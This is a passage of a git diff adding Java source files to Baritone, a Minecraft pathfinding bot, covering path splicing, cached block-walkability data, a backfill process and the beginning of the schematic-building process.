+ } + } + if (firstPositionInSecond != -1) { + if (!allowOverlapCutoff) { + return Optional.empty(); + } + } else { + firstPositionInSecond = first.length() - 1; + } + int positionInSecond = second.positions().indexOf(first.positions().get(firstPositionInSecond)); + if (!allowOverlapCutoff && positionInSecond != 0) { + throw new IllegalStateException(); + } + List positions = new ArrayList<>(); + List movements = new ArrayList<>(); + positions.addAll(first.positions().subList(0, firstPositionInSecond + 1)); + movements.addAll(first.movements().subList(0, firstPositionInSecond)); + + positions.addAll(second.positions().subList(positionInSecond + 1, second.length())); + movements.addAll(second.movements().subList(positionInSecond, second.length() - 1)); + return Optional.of(new SplicedPath(positions, movements, first.getNumNodesConsidered() + second.getNumNodesConsidered(), first.getGoal())); + } +} diff --git a/src/baritone/pathing/precompute/PrecomputedData.java b/src/baritone/pathing/precompute/PrecomputedData.java new file mode 100644 index 00000000..a34432a2 --- /dev/null +++ b/src/baritone/pathing/precompute/PrecomputedData.java @@ -0,0 +1,117 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.precompute; + +import baritone.pathing.movement.MovementHelper; +import baritone.utils.BlockStateInterface; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; + +import static baritone.pathing.precompute.Ternary.MAYBE; +import static baritone.pathing.precompute.Ternary.YES; + +public class PrecomputedData { + + private final int[] data = new int[Block.BLOCK_STATE_IDS.size()]; + + private static final int COMPLETED_MASK = 1 << 0; + private static final int CAN_WALK_ON_MASK = 1 << 1; + private static final int CAN_WALK_ON_SPECIAL_MASK = 1 << 2; + private static final int CAN_WALK_THROUGH_MASK = 1 << 3; + private static final int CAN_WALK_THROUGH_SPECIAL_MASK = 1 << 4; + private static final int FULLY_PASSABLE_MASK = 1 << 5; + private static final int FULLY_PASSABLE_SPECIAL_MASK = 1 << 6; + + private int fillData(int id, BlockState state) { + int blockData = 0; + + Ternary canWalkOnState = MovementHelper.canWalkOnBlockState(state); + if (canWalkOnState == YES) { + blockData |= CAN_WALK_ON_MASK; + } + if (canWalkOnState == MAYBE) { + blockData |= CAN_WALK_ON_SPECIAL_MASK; + } + + Ternary canWalkThroughState = MovementHelper.canWalkThroughBlockState(state); + if (canWalkThroughState == YES) { + blockData |= CAN_WALK_THROUGH_MASK; + } + if (canWalkThroughState == MAYBE) { + blockData |= CAN_WALK_THROUGH_SPECIAL_MASK; + } + + Ternary fullyPassableState = MovementHelper.fullyPassableBlockState(state); + if (fullyPassableState == YES) { + blockData |= FULLY_PASSABLE_MASK; + } + if (fullyPassableState == MAYBE) { + blockData |= FULLY_PASSABLE_SPECIAL_MASK; + } + + blockData |= COMPLETED_MASK; + + data[id] = blockData; // in theory, this is thread "safe" because every thread should compute the exact same int to write? + return blockData; + } + + public boolean canWalkOn(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + int id = Block.BLOCK_STATE_IDS.getId(state); + int blockData = data[id]; + + if ((blockData & COMPLETED_MASK) == 0) { // we need to fill in the data + blockData = fillData(id, state); + } + + if ((blockData & CAN_WALK_ON_SPECIAL_MASK) != 0) { + return MovementHelper.canWalkOnPosition(bsi, x, y, z, state); + } else { + return (blockData & CAN_WALK_ON_MASK) != 0; + } + } + + public boolean canWalkThrough(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + int id = Block.BLOCK_STATE_IDS.getId(state); + int blockData = data[id]; + + if ((blockData & COMPLETED_MASK) == 0) { // we need to fill in the data + blockData = fillData(id, state); + } + + if ((blockData & CAN_WALK_THROUGH_SPECIAL_MASK) != 0) { + return MovementHelper.canWalkThroughPosition(bsi, x, y, z, state); + } else { + return (blockData & CAN_WALK_THROUGH_MASK) != 0; + } + } + + public boolean fullyPassable(BlockStateInterface bsi, int x, int y, int z, BlockState state) { + int id = Block.BLOCK_STATE_IDS.getId(state); + int blockData = data[id]; + + if ((blockData & COMPLETED_MASK) == 0) { // we need to fill in the data + blockData = fillData(id, state); + } + + if ((blockData & FULLY_PASSABLE_SPECIAL_MASK) != 0) { + return MovementHelper.fullyPassablePosition(bsi, x, y, z, state); + } else { + return (blockData & FULLY_PASSABLE_MASK) != 0; + } + } +} diff --git a/src/baritone/pathing/precompute/Ternary.java b/src/baritone/pathing/precompute/Ternary.java new file mode 100644 index 00000000..d4d8424e --- /dev/null +++ b/src/baritone/pathing/precompute/Ternary.java @@ -0,0 +1,22 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.precompute; + +public enum Ternary { + YES, MAYBE, NO +} diff --git a/src/baritone/process/BackfillProcess.java b/src/baritone/process/BackfillProcess.java new file mode 100644 index 00000000..eb96c440 --- /dev/null +++ b/src/baritone/process/BackfillProcess.java @@ -0,0 +1,142 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import baritone.pathing.path.PathExecutor; +import baritone.utils.BaritoneProcessHelper; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.util.math.BlockPos; +import net.minecraft.world.chunk.EmptyChunk; + +import java.util.*; +import java.util.stream.Collectors; + +public final class BackfillProcess extends BaritoneProcessHelper { + + public HashMap blocksToReplace = new HashMap<>(); + + public BackfillProcess(Baritone baritone) { + super(baritone); + } + + @Override + public boolean isActive() { + if (ctx.player() == null || ctx.world() == null) { + return false; + } + if (!Baritone.settings().backfill.value) { + return false; + } + if (Baritone.settings().allowParkour.value) { + logDirect("Backfill cannot be used with allowParkour true"); + Baritone.settings().backfill.value = false; + return false; + } + for (BlockPos pos : new ArrayList<>(blocksToReplace.keySet())) { + if (ctx.world().getChunk(pos) instanceof EmptyChunk || ctx.world().getBlockState(pos).getBlock() != Blocks.AIR) { + blocksToReplace.remove(pos); + } + } + amIBreakingABlockHMMMMMMM(); + baritone.getInputOverrideHandler().clearAllKeys(); + + return !toFillIn().isEmpty(); + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + if (!isSafeToCancel) { + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + baritone.getInputOverrideHandler().clearAllKeys(); + for (BlockPos toPlace : toFillIn()) { + MovementState fake = new MovementState(); + switch (MovementHelper.attemptToPlaceABlock(fake, baritone, toPlace, false, false)) { + case NO_OPTION: + continue; + case READY_TO_PLACE: + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_RIGHT, true); + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + case ATTEMPTING: + // patience + baritone.getLookBehavior().updateTarget(fake.getTarget().getRotation().get(), true); + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + default: + throw new IllegalStateException(); + } + } + return new PathingCommand(null, PathingCommandType.DEFER); // cede to other process + } + + private void amIBreakingABlockHMMMMMMM() { + if (!ctx.getSelectedBlock().isPresent() || !baritone.getPathingBehavior().isPathing()) { + return; + } + blocksToReplace.put(ctx.getSelectedBlock().get(), ctx.world().getBlockState(ctx.getSelectedBlock().get())); + } + + public List toFillIn() { + return blocksToReplace + .keySet() + .stream() + .filter(pos -> ctx.world().getBlockState(pos).getBlock() == Blocks.AIR) + .filter(pos -> baritone.getBuilderProcess().placementPlausible(pos, Blocks.DIRT.getDefaultState())) + .filter(pos -> !partOfCurrentMovement(pos)) + .sorted(Comparator.comparingDouble(ctx.playerFeet()::distanceSq).reversed()) + .collect(Collectors.toList()); + } + + private boolean partOfCurrentMovement(BlockPos pos) { + PathExecutor exec = baritone.getPathingBehavior().getCurrent(); + if (exec == null || exec.finished() || exec.failed()) { + return false; + } + Movement movement = (Movement) exec.getPath().movements().get(exec.getPosition()); + return Arrays.asList(movement.toBreakAll()).contains(pos); + } + + @Override + public void onLostControl() { + if (blocksToReplace != null && !blocksToReplace.isEmpty()) { + blocksToReplace.clear(); + } + } + + @Override + public String displayName0() { + return "Backfill"; + } + + @Override + public boolean isTemporary() { + return true; + } + + @Override + public double priority() { + return 5; + } +} diff --git a/src/baritone/process/BuilderProcess.java b/src/baritone/process/BuilderProcess.java new file mode 100644 index 00000000..49f00231 --- /dev/null +++ b/src/baritone/process/BuilderProcess.java @@ -0,0 +1,1164 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.process; + +import baritone.Baritone; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalBlock; +import baritone.api.pathing.goals.GoalComposite; +import baritone.api.pathing.goals.GoalGetToBlock; +import baritone.api.process.IBuilderProcess; +import baritone.api.process.PathingCommand; +import baritone.api.process.PathingCommandType; +import baritone.api.schematic.FillSchematic; +import baritone.api.schematic.ISchematic; +import baritone.api.schematic.IStaticSchematic; +import baritone.api.schematic.SubstituteSchematic; +import baritone.api.schematic.format.ISchematicFormat; +import baritone.api.utils.*; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.utils.BaritoneProcessHelper; +import baritone.utils.BlockStateInterface; +import baritone.utils.PathingCommandContext; +import baritone.utils.schematic.MapArtSchematic; +import baritone.utils.schematic.SelectionSchematic; +import baritone.utils.schematic.SchematicSystem; +import baritone.utils.schematic.format.defaults.LitematicaSchematic; +import baritone.utils.schematic.litematica.LitematicaHelper; +import baritone.utils.schematic.schematica.SchematicaHelper; +import com.google.common.collect.ImmutableMap; +import com.google.common.collect.ImmutableSet; +import it.unimi.dsi.fastutil.longs.LongOpenHashSet; +import net.minecraft.block.*; +import net.minecraft.item.BlockItem; +import net.minecraft.item.BlockItemUseContext; +import net.minecraft.item.ItemStack; +import net.minecraft.item.ItemUseContext; +import net.minecraft.nbt.CompressedStreamTools; +import net.minecraft.state.Property; +import net.minecraft.util.Direction; +import net.minecraft.util.Hand; +import net.minecraft.util.Tuple; +import net.minecraft.util.math.AxisAlignedBB; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.BlockRayTraceResult; +import net.minecraft.util.math.RayTraceResult; +import net.minecraft.util.math.shapes.VoxelShape; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.util.math.vector.Vector3i; + +import java.io.File; +import java.io.FileInputStream; +import java.nio.file.Files; +import java.util.*; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +import static baritone.api.pathing.movement.ActionCosts.COST_INF; + +public final class BuilderProcess extends BaritoneProcessHelper implements IBuilderProcess { + + private HashSet incorrectPositions; + private LongOpenHashSet observedCompleted; // positions that are completed even if they're out of render distance and we can't make sure right now + private String name; + private ISchematic realSchematic; + private ISchematic schematic; + private Vector3i origin; + private int ticks; + private boolean paused; + private int layer; + private int numRepeats; + private List approxPlaceable; + public int stopAtHeight = 0; + + public BuilderProcess(Baritone baritone) { + super(baritone); + } + + @Override + public void build(String name, ISchematic schematic, Vector3i origin) { + this.name = name; + this.schematic = schematic; + this.realSchematic = null; + boolean buildingSelectionSchematic = schematic instanceof SelectionSchematic; + if (!Baritone.settings().buildSubstitutes.value.isEmpty()) { + this.schematic = new SubstituteSchematic(this.schematic, Baritone.settings().buildSubstitutes.value); + } + int x = origin.getX(); + int y = origin.getY(); + int z = origin.getZ(); + if (Baritone.settings().schematicOrientationX.value) { + x += schematic.widthX(); + } + if (Baritone.settings().schematicOrientationY.value) { + y += schematic.heightY(); + } + if (Baritone.settings().schematicOrientationZ.value) { + z += schematic.lengthZ(); + } + this.origin = new Vector3i(x, y, z); + this.paused = false; + this.layer = Baritone.settings().startAtLayer.value; + this.stopAtHeight = schematic.heightY(); + if (Baritone.settings().buildOnlySelection.value && buildingSelectionSchematic) { // currently redundant but safer maybe + if (baritone.getSelectionManager().getSelections().length == 0) { + logDirect("Poor little kitten forgot to set a selection while BuildOnlySelection is true"); + this.stopAtHeight = 0; + } else if (Baritone.settings().buildInLayers.value) { + OptionalInt minim = Stream.of(baritone.getSelectionManager().getSelections()).mapToInt(sel -> sel.min().y).min(); + OptionalInt maxim = Stream.of(baritone.getSelectionManager().getSelections()).mapToInt(sel -> sel.max().y).max(); + if (minim.isPresent() && maxim.isPresent()) { + int startAtHeight = Baritone.settings().layerOrder.value ? y + schematic.heightY() - maxim.getAsInt() : minim.getAsInt() - y; + this.stopAtHeight = (Baritone.settings().layerOrder.value ? y + schematic.heightY() - minim.getAsInt() : maxim.getAsInt() - y) + 1; + this.layer = Math.max(this.layer, startAtHeight / Baritone.settings().layerHeight.value); // startAtLayer or startAtHeight, whichever is highest + logDebug(String.format("Schematic starts at y=%s with height %s", y, schematic.heightY())); + logDebug(String.format("Selection starts at y=%s and ends at y=%s", minim.getAsInt(), maxim.getAsInt())); + logDebug(String.format("Considering relevant height %s - %s", startAtHeight, this.stopAtHeight)); + } + } + } + + this.numRepeats = 0; + this.observedCompleted = new LongOpenHashSet(); + this.incorrectPositions = null; + } + + public void resume() { + paused = false; + } + + public void pause() { + paused = true; + } + + @Override + public boolean isPaused() { + return paused; + } + + @Override + public boolean build(String name, File schematic, Vector3i origin) { + Optional format = SchematicSystem.INSTANCE.getByFile(schematic); + if (!format.isPresent()) { + return false; + } + ISchematic parsed; + try { + parsed = format.get().parse(new FileInputStream(schematic)); + } catch (Exception e) { + e.printStackTrace(); + return false; + } + parsed = applyMapArtAndSelection(origin, (IStaticSchematic) parsed); + build(name, parsed, origin); + return true; + } + + private ISchematic applyMapArtAndSelection(Vector3i origin, IStaticSchematic parsed) { + ISchematic schematic = parsed; + if (Baritone.settings().mapArtMode.value) { + schematic = new MapArtSchematic(parsed); + } + if (Baritone.settings().buildOnlySelection.value) { + schematic = new SelectionSchematic(schematic, origin, baritone.getSelectionManager().getSelections()); + } + return schematic; + } + + @Override + public void buildOpenSchematic() { + if (SchematicaHelper.isSchematicaPresent()) { + Optional> schematic = SchematicaHelper.getOpenSchematic(); + if (schematic.isPresent()) { + IStaticSchematic s = schematic.get().getA(); + BlockPos origin = schematic.get().getB(); + ISchematic schem = Baritone.settings().mapArtMode.value ? new MapArtSchematic(s) : s; + if (Baritone.settings().buildOnlySelection.value) { + schem = new SelectionSchematic(schem, origin, baritone.getSelectionManager().getSelections()); + } + this.build( + schematic.get().getA().toString(), + schem, + origin + ); + } else { + logDirect("No schematic currently open"); + } + } else { + logDirect("Schematica is not present"); + } + } + + @Override + public void buildOpenLitematic(int i) { + if (LitematicaHelper.isLitematicaPresent()) { + //if java.lang.NoSuchMethodError is thrown see comment in SchematicPlacementManager + if (LitematicaHelper.hasLoadedSchematic()) { + String name = LitematicaHelper.getName(i); + try { + LitematicaSchematic schematic1 = new LitematicaSchematic(CompressedStreamTools.readCompressed(Files.newInputStream(LitematicaHelper.getSchematicFile(i).toPath())), false); + Vector3i correctedOrigin = LitematicaHelper.getCorrectedOrigin(schematic1, i); + ISchematic schematic2 = LitematicaHelper.blackMagicFuckery(schematic1, i); + schematic2 = applyMapArtAndSelection(origin, (IStaticSchematic) schematic2); + build(name, schematic2, correctedOrigin); + } catch (Exception e) { + logDirect("Schematic File could not be loaded."); + } + } else { + logDirect("No schematic currently loaded"); + } + } else { + logDirect("Litematica is not present"); + } + } + + public void clearArea(BlockPos corner1, BlockPos corner2) { + BlockPos origin = new BlockPos(Math.min(corner1.getX(), corner2.getX()), Math.min(corner1.getY(), corner2.getY()), Math.min(corner1.getZ(), corner2.getZ())); + int widthX = Math.abs(corner1.getX() - corner2.getX()) + 1; + int heightY = Math.abs(corner1.getY() - corner2.getY()) + 1; + int lengthZ = Math.abs(corner1.getZ() - corner2.getZ()) + 1; + build("clear area", new FillSchematic(widthX, heightY, lengthZ, Blocks.AIR.getDefaultState()), origin); + } + + @Override + public List getApproxPlaceable() { + return new ArrayList<>(approxPlaceable); + } + + @Override + public boolean isActive() { + return schematic != null; + } + + public BlockState placeAt(int x, int y, int z, BlockState current) { + if (!isActive()) { + return null; + } + if (!schematic.inSchematic(x - origin.getX(), y - origin.getY(), z - origin.getZ(), current)) { + return null; + } + BlockState state = schematic.desiredState(x - origin.getX(), y - origin.getY(), z - origin.getZ(), current, this.approxPlaceable); + if (state.getBlock() instanceof AirBlock) { + return null; + } + return state; + } + + private Optional> toBreakNearPlayer(BuilderCalculationContext bcc) { + BetterBlockPos center = ctx.playerFeet(); + BetterBlockPos pathStart = baritone.getPathingBehavior().pathStart(); + for (int dx = -5; dx <= 5; dx++) { + for (int dy = Baritone.settings().breakFromAbove.value ? -1 : 0; dy <= 5; dy++) { + for (int dz = -5; dz <= 5; dz++) { + int x = center.x + dx; + int y = center.y + dy; + int z = center.z + dz; + if (dy == -1 && x == pathStart.x && z == pathStart.z) { + continue; // dont mine what we're supported by, but not directly standing on + } + BlockState desired = bcc.getSchematic(x, y, z, bcc.bsi.get0(x, y, z)); + if (desired == null) { + continue; // irrelevant + } + BlockState curr = bcc.bsi.get0(x, y, z); + if (!(curr.getBlock() instanceof AirBlock) && !(curr.getBlock() == Blocks.WATER || curr.getBlock() == Blocks.LAVA) && !valid(curr, desired, false)) { + BetterBlockPos pos = new BetterBlockPos(x, y, z); + Optional rot = RotationUtils.reachable(ctx, pos, ctx.playerController().getBlockReachDistance()); + if (rot.isPresent()) { + return Optional.of(new Tuple<>(pos, rot.get())); + } + } + } + } + } + return Optional.empty(); + } + + public static class Placement { + + private final int hotbarSelection; + private final BlockPos placeAgainst; + private final Direction side; + private final Rotation rot; + + public Placement(int hotbarSelection, BlockPos placeAgainst, Direction side, Rotation rot) { + this.hotbarSelection = hotbarSelection; + this.placeAgainst = placeAgainst; + this.side = side; + this.rot = rot; + } + } + + private Optional searchForPlacables(BuilderCalculationContext bcc, List desirableOnHotbar) { + BetterBlockPos center = ctx.playerFeet(); + for (int dx = -5; dx <= 5; dx++) { + for (int dy = -5; dy <= 1; dy++) { + for (int dz = -5; dz <= 5; dz++) { + int x = center.x + dx; + int y = center.y + dy; + int z = center.z + dz; + BlockState desired = bcc.getSchematic(x, y, z, bcc.bsi.get0(x, y, z)); + if (desired == null) { + continue; // irrelevant + } + BlockState curr = bcc.bsi.get0(x, y, z); + if (MovementHelper.isReplaceable(x, y, z, curr, bcc.bsi) && !valid(curr, desired, false)) { + if (dy == 1 && bcc.bsi.get0(x, y + 1, z).getBlock() instanceof AirBlock) { + continue; + } + desirableOnHotbar.add(desired); + Optional opt = possibleToPlace(desired, x, y, z, bcc.bsi); + if (opt.isPresent()) { + return opt; + } + } + } + } + } + return Optional.empty(); + } + + public boolean placementPlausible(BlockPos pos, BlockState state) { + VoxelShape voxelshape = state.getCollisionShape(ctx.world(), pos); + return voxelshape.isEmpty() || ctx.world().checkNoEntityCollision(null, voxelshape.withOffset(pos.getX(), pos.getY(), pos.getZ())); + } + + private Optional possibleToPlace(BlockState toPlace, int x, int y, int z, BlockStateInterface bsi) { + for (Direction against : Direction.values()) { + BetterBlockPos placeAgainstPos = new BetterBlockPos(x, y, z).offset(against); + BlockState placeAgainstState = bsi.get0(placeAgainstPos); + if (MovementHelper.isReplaceable(placeAgainstPos.x, placeAgainstPos.y, placeAgainstPos.z, placeAgainstState, bsi)) { + continue; + } + if (!toPlace.isValidPosition(ctx.world(), new BetterBlockPos(x, y, z))) { + continue; + } + if (!placementPlausible(new BetterBlockPos(x, y, z), toPlace)) { + continue; + } + AxisAlignedBB aabb = placeAgainstState.getShape(ctx.world(), placeAgainstPos).getBoundingBox(); + for (Vector3d placementMultiplier : aabbSideMultipliers(against)) { + double placeX = placeAgainstPos.x + aabb.minX * placementMultiplier.x + aabb.maxX * (1 - placementMultiplier.x); + double placeY = placeAgainstPos.y + aabb.minY * placementMultiplier.y + aabb.maxY * (1 - placementMultiplier.y); + double placeZ = placeAgainstPos.z + aabb.minZ * placementMultiplier.z + aabb.maxZ * (1 - placementMultiplier.z); + Rotation rot = RotationUtils.calcRotationFromVec3d(RayTraceUtils.inferSneakingEyePosition(ctx.player()), new Vector3d(placeX, placeY, placeZ), ctx.playerRotations()); + Rotation actualRot = baritone.getLookBehavior().getAimProcessor().peekRotation(rot); + RayTraceResult result = RayTraceUtils.rayTraceTowards(ctx.player(), actualRot, ctx.playerController().getBlockReachDistance(), true); + if (result != null && result.getType() == RayTraceResult.Type.BLOCK && ((BlockRayTraceResult) result).getPos().equals(placeAgainstPos) && ((BlockRayTraceResult) result).getFace() == against.getOpposite()) { + OptionalInt hotbar = hasAnyItemThatWouldPlace(toPlace, result, actualRot); + if (hotbar.isPresent()) { + return Optional.of(new Placement(hotbar.getAsInt(), placeAgainstPos, against.getOpposite(), rot)); + } + } + } + } + return Optional.empty(); + } + + private OptionalInt hasAnyItemThatWouldPlace(BlockState desired, RayTraceResult result, Rotation rot) { + for (int i = 0; i < 9; i++) { + ItemStack stack = ctx.player().inventory.mainInventory.get(i); + if (stack.isEmpty() || !(stack.getItem() instanceof BlockItem)) { + continue; + } + float originalYaw = ctx.player().rotationYaw; + float originalPitch = ctx.player().rotationPitch; + // the state depends on the facing of the player sometimes + ctx.player().rotationYaw = rot.getYaw(); + ctx.player().rotationPitch = rot.getPitch(); + BlockItemUseContext meme = new BlockItemUseContext(new ItemUseContext( + ctx.world(), + ctx.player(), + Hand.MAIN_HAND, + stack, + (BlockRayTraceResult) result + ) {}); // that {} gives us access to a protected constructor lmfao + BlockState wouldBePlaced = ((BlockItem) stack.getItem()).getBlock().getStateForPlacement(meme); + ctx.player().rotationYaw = originalYaw; + ctx.player().rotationPitch = originalPitch; + if (wouldBePlaced == null) { + continue; + } + if (!meme.canPlace()) { + continue; + } + if (valid(wouldBePlaced, desired, true)) { + return OptionalInt.of(i); + } + } + return OptionalInt.empty(); + } + + private static Vector3d[] aabbSideMultipliers(Direction side) { + switch (side) { + case UP: + return new Vector3d[]{new Vector3d(0.5, 1, 0.5), new Vector3d(0.1, 1, 0.5), new Vector3d(0.9, 1, 0.5), new Vector3d(0.5, 1, 0.1), new Vector3d(0.5, 1, 0.9)}; + case DOWN: + return new Vector3d[]{new Vector3d(0.5, 0, 0.5), new Vector3d(0.1, 0, 0.5), new Vector3d(0.9, 0, 0.5), new Vector3d(0.5, 0, 0.1), new Vector3d(0.5, 0, 0.9)}; + case NORTH: + case SOUTH: + case EAST: + case WEST: + double x = side.getXOffset() == 0 ? 0.5 : (1 + side.getXOffset()) / 2D; + double z = side.getZOffset() == 0 ? 0.5 : (1 + side.getZOffset()) / 2D; + return new Vector3d[]{new Vector3d(x, 0.25, z), new Vector3d(x, 0.75, z)}; + default: // null + throw new IllegalStateException(); + } + } + + @Override + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel) { + return onTick(calcFailed, isSafeToCancel, 0); + } + + public PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel, int recursions) { + if (recursions > 1000) { // onTick calls itself, don't crash + return new PathingCommand(null, PathingCommandType.SET_GOAL_AND_PATH); + } + approxPlaceable = approxPlaceable(36); + if (baritone.getInputOverrideHandler().isInputForcedDown(Input.CLICK_LEFT)) { + ticks = 5; + } else { + ticks--; + } + baritone.getInputOverrideHandler().clearAllKeys(); + if (paused) { + return new PathingCommand(null, PathingCommandType.CANCEL_AND_SET_GOAL); + } + if (Baritone.settings().buildInLayers.value) { + if (realSchematic == null) { + realSchematic = schematic; + } + ISchematic realSchematic = this.realSchematic; // wrap this properly, dont just have the inner class refer to the builderprocess.this + int minYInclusive; + int maxYInclusive; + // layer = 0 should be nothing + // layer = realSchematic.heightY() should be everything + if (Baritone.settings().layerOrder.value) { // top to bottom + maxYInclusive = realSchematic.heightY() - 1; + minYInclusive = realSchematic.heightY() - layer * Baritone.settings().layerHeight.value; + } else { + maxYInclusive = layer * Baritone.settings().layerHeight.value - 1; + minYInclusive = 0; + } + schematic = new ISchematic() { + @Override + public BlockState desiredState(int x, int y, int z, BlockState current, List approxPlaceable) { + return realSchematic.desiredState(x, y, z, current, BuilderProcess.this.approxPlaceable); + } + + @Override + public boolean inSchematic(int x, int y, int z, BlockState currentState) { + return ISchematic.super.inSchematic(x, y, z, currentState) && y >= minYInclusive && y <= maxYInclusive && realSchematic.inSchematic(x, y, z, currentState); + } + + @Override + public void reset() { + realSchematic.reset(); + } + + @Override + public int widthX() { + return realSchematic.widthX(); + } + + @Override + public int heightY() { + return realSchematic.heightY(); + } + + @Override + public int lengthZ() { + return realSchematic.lengthZ(); + } + }; + } + BuilderCalculationContext bcc = new BuilderCalculationContext(); + if (!recalc(bcc)) { + if (Baritone.settings().buildInLayers.value && layer * Baritone.settings().layerHeight.value < stopAtHeight) { + logDirect("Starting layer " + layer); + layer++; + return onTick(calcFailed, isSafeToCancel, recursions + 1); + } + Vector3i repeat = Baritone.settings().buildRepeat.value; + int max = Baritone.settings().buildRepeatCount.value; + numRepeats++; + if (repeat.equals(new Vector3i(0, 0, 0)) || (max != -1 && numRepeats >= max)) { + logDirect("Done building"); + if (Baritone.settings().notificationOnBuildFinished.value) { + logNotification("Done building", false); + } + onLostControl(); + return null; + } + // build repeat time + layer = 0; + origin = new BlockPos(origin).add(repeat); + if (!Baritone.settings().buildRepeatSneaky.value) { + schematic.reset(); + } + logDirect("Repeating build in vector " + repeat + ", new origin is " + origin); + return onTick(calcFailed, isSafeToCancel, recursions + 1); + } + if (Baritone.settings().distanceTrim.value) { + trim(); + } + + Optional> toBreak = toBreakNearPlayer(bcc); + if (toBreak.isPresent() && isSafeToCancel && ctx.player().isOnGround()) { + // we'd like to pause to break this block + // only change look direction if it's safe (don't want to fuck up an in progress parkour for example + Rotation rot = toBreak.get().getB(); + BetterBlockPos pos = toBreak.get().getA(); + baritone.getLookBehavior().updateTarget(rot, true); + MovementHelper.switchToBestToolFor(ctx, bcc.get(pos)); + if (ctx.player().isCrouching()) { + // really horrible bug where a block is visible for breaking while sneaking but not otherwise + // so you can't see it, it goes to place something else, sneaks, then the next tick it tries to break + // and is unable since it's unsneaked in the intermediary tick + baritone.getInputOverrideHandler().setInputForceState(Input.SNEAK, true); + } + if (ctx.isLookingAt(pos) || ctx.playerRotations().isReallyCloseTo(rot)) { + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_LEFT, true); + } + return new PathingCommand(null, PathingCommandType.CANCEL_AND_SET_GOAL); + } + List desirableOnHotbar = new ArrayList<>(); + Optional toPlace = searchForPlacables(bcc, desirableOnHotbar); + if (toPlace.isPresent() && isSafeToCancel && ctx.player().isOnGround() && ticks <= 0) { + Rotation rot = toPlace.get().rot; + baritone.getLookBehavior().updateTarget(rot, true); + ctx.player().inventory.currentItem = toPlace.get().hotbarSelection; + baritone.getInputOverrideHandler().setInputForceState(Input.SNEAK, true); + if ((ctx.isLookingAt(toPlace.get().placeAgainst) && ((BlockRayTraceResult) ctx.objectMouseOver()).getFace().equals(toPlace.get().side)) || ctx.playerRotations().isReallyCloseTo(rot)) { + baritone.getInputOverrideHandler().setInputForceState(Input.CLICK_RIGHT, true); + } + return new PathingCommand(null, PathingCommandType.CANCEL_AND_SET_GOAL); + } + + if (Baritone.settings().allowInventory.value) { + ArrayList usefulSlots = new ArrayList<>(); + List noValidHotbarOption = new ArrayList<>(); + outer: + for (BlockState desired : desirableOnHotbar) { + for (int i = 0; i < 9; i++) { + if (valid(approxPlaceable.get(i), desired, true)) { + usefulSlots.add(i); + continue outer; + } + } + noValidHotbarOption.add(desired); + } + + outer: + for (int i = 9; i < 36; i++) { + for (BlockState desired : noValidHotbarOption) { + if (valid(approxPlaceable.get(i), desired, true)) { + if (!baritone.getInventoryBehavior().attemptToPutOnHotbar(i, usefulSlots::contains)) { + // awaiting inventory move, so pause + return new PathingCommand(null, PathingCommandType.REQUEST_PAUSE); + } + break outer; + } + } + } + } + + Goal goal = assemble(bcc, approxPlaceable.subList(0, 9)); + if (goal == null) { + goal = assemble(bcc, approxPlaceable, true); // we're far away, so assume that we have our whole inventory to recalculate placeable properly + if (goal == null) { + if (Baritone.settings().skipFailedLayers.value && Baritone.settings().buildInLayers.value && layer * Baritone.settings().layerHeight.value < realSchematic.heightY()) { + logDirect("Skipping layer that I cannot construct! Layer #" + layer); + layer++; + 